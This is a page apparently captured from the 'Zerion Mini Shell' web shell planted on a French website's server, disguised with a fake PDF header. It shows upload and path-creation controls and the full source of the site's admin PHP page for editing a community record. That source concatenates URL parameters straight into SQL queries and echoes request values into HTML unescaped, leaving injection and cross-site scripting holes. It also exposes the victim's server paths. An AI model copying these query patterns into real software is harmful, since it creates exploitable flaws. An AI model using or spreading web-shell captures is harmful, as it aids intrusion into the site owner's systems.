%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/sedl.alnetis.fr/public_html/test/
Upload File :
Create Path :
Current File : /home/alliance/domains/sedl.alnetis.fr/public_html/test/a-modifier_collectivite_lang.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/session.php");
include_once("inc/init.php");

$db = new BaseOps;
verif_get($_GET['id']);
verif_get($_GET['language']);

$query="SELECT * FROM lang WHERE id=".$_GET['language'];
$thelang=$db->select_array($query);

$query = "SELECT * FROM `section` WHERE id = ".$_GET['id'];
$this_section=$db->select_array($query);
if(!$db->isres($query))
{
	include('a-404.php');
	exit(0);
}
$page = new Page();

//$page_sec = $section->page_sec($_GET['id']);
verif_co_sec($_GET['id']);

if(isset($_POST['post']) && $_POST['post'] == 1)
{
	verif_co_sec($this_section['id']);
	$erreur2="ok";
	
	
	$erreur2 = $db->verif($_POST['titre_en'], "Title");
	if($this_section['profil']!=3){
		if($erreur2 == "ok") $erreur2 = $db->verif($_POST['population'], $admtext->getText("population",$_SESSION['lang']), false, false, $_SESSION['lang']);
		if($erreur2 == "ok") $erreur2 = verifie_num($_POST['population'],$admtext->getText("population",$_SESSION['lang']), false, false, $_SESSION['lang']);
	}
		
	if($erreur2 == "ok")
	{
		//Photos
		
		if($_POST['photo1'] != null) { if($_POST['photo1'] != $this_section['photo1']) {
				$section->suppr_photo($this_section['id'], 1);
				$_POST['photo1'] = photo_move($_POST['photo1']); } }
		if($_POST['photo2'] != null) { if($_POST['photo2'] != $this_section['photo2']) {
				$section->suppr_photo($this_section['id'], 2);
				$_POST['photo2'] = photo_move($_POST['photo2']); } }
		if($_POST['photo3'] != null) { if($_POST['photo3'] != $this_section['photo3']) {
				$section->suppr_photo($this_section['id'], 3);
				$_POST['photo3'] = photo_move($_POST['photo3']); } }
		if($_POST['photo4'] != null) { if($_POST['photo4'] != $this_section['photo4']) {
				$section->suppr_photo($this_section['id'], 4);
				$_POST['photo4'] = photo_move($_POST['photo4']); } }
			
		if($_POST['photo1'] == null) { $_POST['photo1'] = $this_section['photo1']; }
		if($_POST['photo2'] == null) { $_POST['photo2'] = $this_section['photo2']; }
		if($_POST['photo3'] == null) { $_POST['photo3'] = $this_section['photo3']; }
		if($_POST['photo4'] == null) { $_POST['photo4'] = $this_section['photo4']; }
		
		if(isset($_POST['supp1']) && $_POST['supp1']) {
			photo_supp($this_section['photo1']);
			$_POST['photo1'] = null; }
		if(isset($_POST['supp2']) && $_POST['supp2']) {
			photo_supp($this_section['photo2']);
			$_POST['photo2'] = null; }
		if(isset($_POST['supp3']) && $_POST['supp3']) {
			photo_supp($this_section['photo3']);
			$_POST['photo3'] = null; }
		if(isset($_POST['supp4']) && $_POST['supp4']) {
			photo_supp($this_section['photo4']);
			$_POST['photo4'] = null; }
			
		
		$where = "id = ".$_GET['id'];
		$where2 = "section = ".$_GET['id'];
		// page
		$values = array(
			"population"=> $_POST['population'],
			"adresse"=> $_POST['adresse'],
			"codepostal"=> $_POST['codepostal'],
			"ville"=> $_POST['ville'],
			"site"=> $_POST['site'],
			"site2"=> $_POST['site2'],
			"site3"=> $_POST['site3'],
			"photo1" => $_POST['photo1'],
			"photo2" => $_POST['photo2'],
			"photo3" => $_POST['photo3'],
			"photo4" => $_POST['photo4'],
			"partenaire"=> $_POST['partenaire'],
			"section_lang"=> $_POST['section_lang']
			);
		$db->update("section", $values, $where);
		
		if (estadmin()){
			$values = array (
				"pays" => $_POST['country'] );
			$db->update("section", $values, $where);
		}
		
		
		$query = "SELECT * FROM `section_lang` WHERE lang = ".$_GET['language']." AND section = ".$_GET['id'];
		if(!$db->isres($query)){
			$values = array (
				"titre" => $_POST['titre'],
				"texte" => $_POST['texte'],
				"permalien" => cleanUrl($_POST['titre']) );
			$db->insert("section_lang", $values);
		}
		else{
			$values = array (
				"titre" => $_POST['titre'],
				"texte" => $_POST['texte'],
				"permalien" => cleanUrl($_POST['titre']) );
			$db->update("section_lang", $values, $where2." AND lang = ".$_GET['language']);
		}
		
		
		$yes = true;
		header("Location:editer_section.php?id=".$_GET['id']."&msg=yes");
	}
	else {
		$err = true;
	}
}


$query = "SELECT * FROM `section` WHERE id = ".$_GET['id'];
$data = $db->select_array($query);
$query = "SELECT * FROM `section_lang` WHERE lang = ".$_GET['language']." AND section = ".$data['id'];
$data_fr = $db->select_array($query);


if(!isset($_POST['photo1'])) $_POST['photo1'] = $data['photo1'];
if(!isset($_POST['photo2'])) $_POST['photo2'] = $data['photo2'];
if(!isset($_POST['photo3'])) $_POST['photo3'] = $data['photo3'];
if(!isset($_POST['photo4'])) $_POST['photo4'] = $data['photo4'];
if(!isset($_POST['population'])) $_POST['population'] = $data['population'];
if(!isset($_POST['site'])) $_POST['site'] = $data['site'];
if(!isset($_POST['site2'])) $_POST['site2'] = $data['site2'];
if(!isset($_POST['site3'])) $_POST['site3'] = $data['site3'];
if(!isset($_POST['adresse'])) $_POST['adresse'] = $data['adresse'];
if(!isset($_POST['codepostal'])) $_POST['codepostal'] = $data['codepostal'];
if(!isset($_POST['ville'])) $_POST['ville'] = $data['ville'];
if(!isset($_POST['partenaire'])) $_POST['partenaire'] = $data['partenaire'];
if(!isset($_POST['country'])) $_POST['country'] = $data['pays'];
if(!isset($_POST['section_lang'])) $_POST['section_lang'] = $data['section_lang'];

if(!isset($_POST['titre'])) $_POST['titre'] = $data_fr['titre'];
if(!isset($_POST['texte'])) $_POST['texte'] = $data_fr['texte'];

$query = "SELECT * FROM `section_lang` WHERE lang = ".$_SESSION['lang']." AND section = ".$data['id'];
$oldlang = $db->select_array($query);

if($_POST['titre']=="") $_POST['titre'] = $oldlang['titre'];
if($_POST['texte']=="") $_POST['texte'] = $oldlang['texte'];

//affichage du html
include("theme/html.php");
//affichage des metas
include("theme/meta.php");
echo "\n<title>".$admtext->getText("edit_collectivity",$_SESSION['lang'])." - ".$info_titresite."</title>\n";
//affichage du header
$pagesection=true;
$sectionid=$_GET['id'];
if(estadmin()) include("theme/header_admin.php");
else include("theme/header_redacteur.php");


$this_edition=$edition->getCurrentEdition($aff="ins",$_SESSION['lang']);


?>

<div class="text_admin">
<h2><?=$admtext->getText("edit_collectivity",$_SESSION['lang'])?> - <?=$admtext->getText("translation",$_SESSION['lang'])?> <?=$thelang['nom']?></h2>
<p><?=$admtext->getText("notice_blocs",$_SESSION['lang'])?></p>
<div id="test"></div>

<?php
if($_GET['msg']=="yes") {
	echo "<p class=\"infobloc\">Opération effectuée</p>";
}

?>
<input type="hidden" id="pageid" value="<?php echo $_GET['id']; ?>" />

<ul class="sousmenuadmin">
	<li><a href="admin/editer_section.php?id=<?php echo $_GET['id']; ?>"><?=$admtext->getText("return_admin_panel",$_SESSION['lang'])?></a></li>
<?php if(estadmin()) { ?>	<li><a href="admin/modifier_coltype.php?id=<?php echo $_GET['id']; ?>" class="confirm">Modifier le profil de la collectivité</a></li><?php } ?>
	
</ul>

<?php
if($err) {
	if (verif_lang(1)) {
		echo "<p class=\"erreurbloc\">".$erreur1."</p>";
	}
	else {
		echo "<p class=\"erreurbloc\">".$erreur2."</p>";
	}
}
if($yes) {
	echo "<p class=\"infobloc\">Opération effectuée</p>";
}
?>


<div class="text_admin">

<form action="admin/modifier_collectivite.php?id=<?php echo $_GET['id']; ?>" enctype="multipart/form-data" method="post" class="form">
	<table>
		<?if (estadmin()) : ?>
		<? $query="SELECT * FROM user WHERE section=".$_GET['id'];
		$db = new BaseOps;		
		$contacts=$db->select_arrays($query);
		foreach($contacts as $uncontact):?>
			<h3>Personne de contact :</h3>
			<?=$uncontact['prenom']?> <?=$uncontact['nom']?><br/>
			Email : <a href="mailto:<?=$uncontact['email_contact']?>"><?=$uncontact['email_contact']?></a><br/>
			Fonction : <?=$uncontact['fonction']?><br/>
			Tel  : <?=$uncontact['telephone']?><br/>
			Service chargé des activités : <?=$uncontact['service']?><br/>
			<a href="admin/modifier_user.php?id=<?=$uncontact['id']; ?>">Editer</a>
		<? endforeach; ?>
		
		<tr>
			<td class="label"></td>
			<td class="field head">Français</td>
			<td class="field head">Anglais</td>
		</tr>
		<? endif; ?>
		<tr>
			<td class="label"><?=$admtext->getText("community_name",$_SESSION['lang'])?> <span class="etoile">*</span></td>
			<td class="field"><input type="text" name="titre_fr" value="<?php echo $_POST['titre']; ?>" /></td>
		</tr>
		<tr>
			<td class="label"></td>
			<td class="field" colspan="2">
				<div id="toolbar"></div>
			</td>
		</tr>
		<tr>
			<td class="label top"><?=$admtext->getText("description",$_SESSION['lang'])?> <span class="etoile">*</span></td>
			<?if(verif_lang(1)):?><td class="field top"><textarea name="texte"><?php echo $_POST['texte']; ?></textarea></td><? endif; ?>
			
		</tr>
		<?if (estadmin()): ?>
			<tr>
				<td class="label">Pays </td>
				<td class="field">
					<select name="country">
						<?=$pays->getCountry($lang->getlangid(),$_POST['country'])?>
					</select>
				</td>
			</tr>
			<tr>
				<td class="label">Langue  </td>
				<td class="field">
					<select name="section_lang">
						<option value="0">Non définie</option>
						<? $query="SELECT * FROM lang ORDER BY nom";
						$langues=$db->select_arrays($query);
						foreach ($langues as $unelangue):?>
							<option <?=($unelangue["id"]==$_POST['section_lang']?'selected="selected"':"")?> value="<?=$unelangue["id"]?>"><?=$unelangue["nom"]?></option>
						<? endforeach;?>
					</select>
					(langue locale de la collectivité pour contenu supplémentaire dans cette langue, ne pas remplir si anglais ou français)
				</td>
			</tr>
		<? endif; ?>
		<tr>
			<td class="label"><?=$admtext->getText("address",$_SESSION['lang'])?> </td>
			<td class="field"><input type="text" name="adresse" value="<?php echo $_POST['adresse']; ?>" /></td>		
		</tr>
		<tr>
			<td class="label"><?=$admtext->getText("codepostal",$_SESSION['lang'])?> </td>
			<td class="field"><input type="text" name="codepostal" value="<?php echo $_POST['codepostal']; ?>" /></td>		
		</tr>
		<tr>
			<td class="label"><?=$admtext->getText("ville",$_SESSION['lang'])?> </td>
			<td class="field"><input type="text" name="ville" value="<?php echo $_POST['ville']; ?>" /></td>		
		</tr>
		<?if($this_section['profil']!=3): ?>
			<tr>
				<td class="label"><?=$admtext->getText("population",$_SESSION['lang'])?> </td>
				<td class="field"><input type="text" name="population" value="<?php echo $_POST['population']; ?>" /></td>		
			</tr>
		<? endif; ?>
		<tr>
			<td colspan="3" class="label"><?=$admtext->getText("question_colpartner",$_SESSION['lang'])?> </td>
		</tr>
		<tr>
			<td class="field" colspan="2"><input type="text" name="partenaire" value="<?php echo $_POST['partenaire']; ?>" /></td>		
		</tr>
		<tr>
			<td class="label"><?=$admtext->getText("website",$_SESSION['lang'])?></td>
			<td class="field"><input type="text" name="site" value="<?php echo $_POST['site']; ?>" /></td>		
		</tr>
		<tr>
			<td class="label"><?=$admtext->getText("website",$_SESSION['lang'])?> 2</td>
			<td class="field"><input type="text" name="site2" value="<?php echo $_POST['site2']; ?>" /></td>		
		</tr>
		<tr>
			<td class="label"><?=$admtext->getText("website",$_SESSION['lang'])?> 3</td>
			<td class="field"><input type="text" name="site3" value="<?php echo $_POST['site3']; ?>" /></td>		
		</tr>
		
		<tr class="news">
			<td class="label top"><?=$admtext->getText("main_picture",$_SESSION['lang'])?></td>
			<td class="field"><input type="file" name="file_1" id="file_1" /><?php if($_POST['photo1']) echo '<div class="uploadifyQueueItem completed"><div class="cancel"><input type="checkbox" class="radio supphoto" name="supp1" id="supp1"> <label for="supp1">Supprimer</label></div><a href="uploads/'.$_POST['photo1'].'" class="zoom">'.$_POST['photo1'].'</a></div> '; ?></td>
			<td class="field"><input type="hidden" name="photo1" id="photo1" value="<?php echo $_POST['photo1']; ?>" /></td>
		</tr>
		<tr class="news">
			<td class="label top"><?=$admtext->getText("picture",$_SESSION['lang'])?> n°2</td>
			<td class="field"><input type="file" name="file_2" id="file_2" /><?php if($_POST['photo2']) echo '<div class="uploadifyQueueItem completed"><div class="cancel"><input type="checkbox" class="radio supphoto" name="supp2" id="supp2"> <label for="supp2">Supprimer</label></div><a href="uploads/'.$_POST['photo2'].'" class="zoom">'.$_POST['photo2'].'</a></div> '; ?></td>
			<td class="field"><input type="hidden" name="photo2" id="photo2" value="<?php echo $_POST['photo2']; ?>" /></td>
		</tr>
		<tr class="news">
			<td class="label top"><?=$admtext->getText("picture",$_SESSION['lang'])?> n°3</td>
			<td class="field"><input type="file" name="file_3" id="file_3" /><?php if($_POST['photo3']) echo '<div class="uploadifyQueueItem completed"><div class="cancel"><input type="checkbox" class="radio supphoto" name="supp3" id="supp3"> <label for="supp3">Supprimer</label></div><a href="uploads/'.$_POST['photo3'].'" class="zoom">'.$_POST['photo3'].'</a></div> '; ?></td>
			<td class="field"><input type="hidden" name="photo3" id="photo3" value="<?php echo $_POST['photo3']; ?>" /></td>
		</tr>
		<tr class="news">
			<td class="label top"><?=$admtext->getText("picture",$_SESSION['lang'])?> n°4</td>
			<td class="field"><input type="file" name="file_4" id="file_4" /><?php if($_POST['photo4']) echo '<div class="uploadifyQueueItem completed"><div class="cancel"><input type="checkbox" class="radio supphoto" name="supp4" id="supp4"> <label for="supp4">Supprimer</label></div><a href="uploads/'.$_POST['photo4'].'" class="zoom">'.$_POST['photo4'].'</a></div> '; ?></td>
			<td class="field"><input type="hidden" name="photo4" id="photo4" value="<?php echo $_POST['photo4']; ?>" /></td>
		</tr>
		

	</table>
	<div class="form_bouton">
		<input type="hidden" name="post" value="1" />
		<input type="submit" class="bouton" id="maj_bouton" value="<?=$admtext->getText("edit_collectivity",$_SESSION['lang'])?>" />
		<?if (estadmin() && !$section->isValid($_GET['id'],$this_edition['id'])) : ?>
			<a href="admin/valider_section.php?id=<?php echo $_GET['id']; ?>&edition=<?=$this_edition['id']?>" class="bouton" />Valider la collectivité</a>
		<? endif;?>
		
	</div>
</form>
</div>

<?

//affichage du footer
include("theme/footer.php");

?>

Zerion Mini Shell 1.0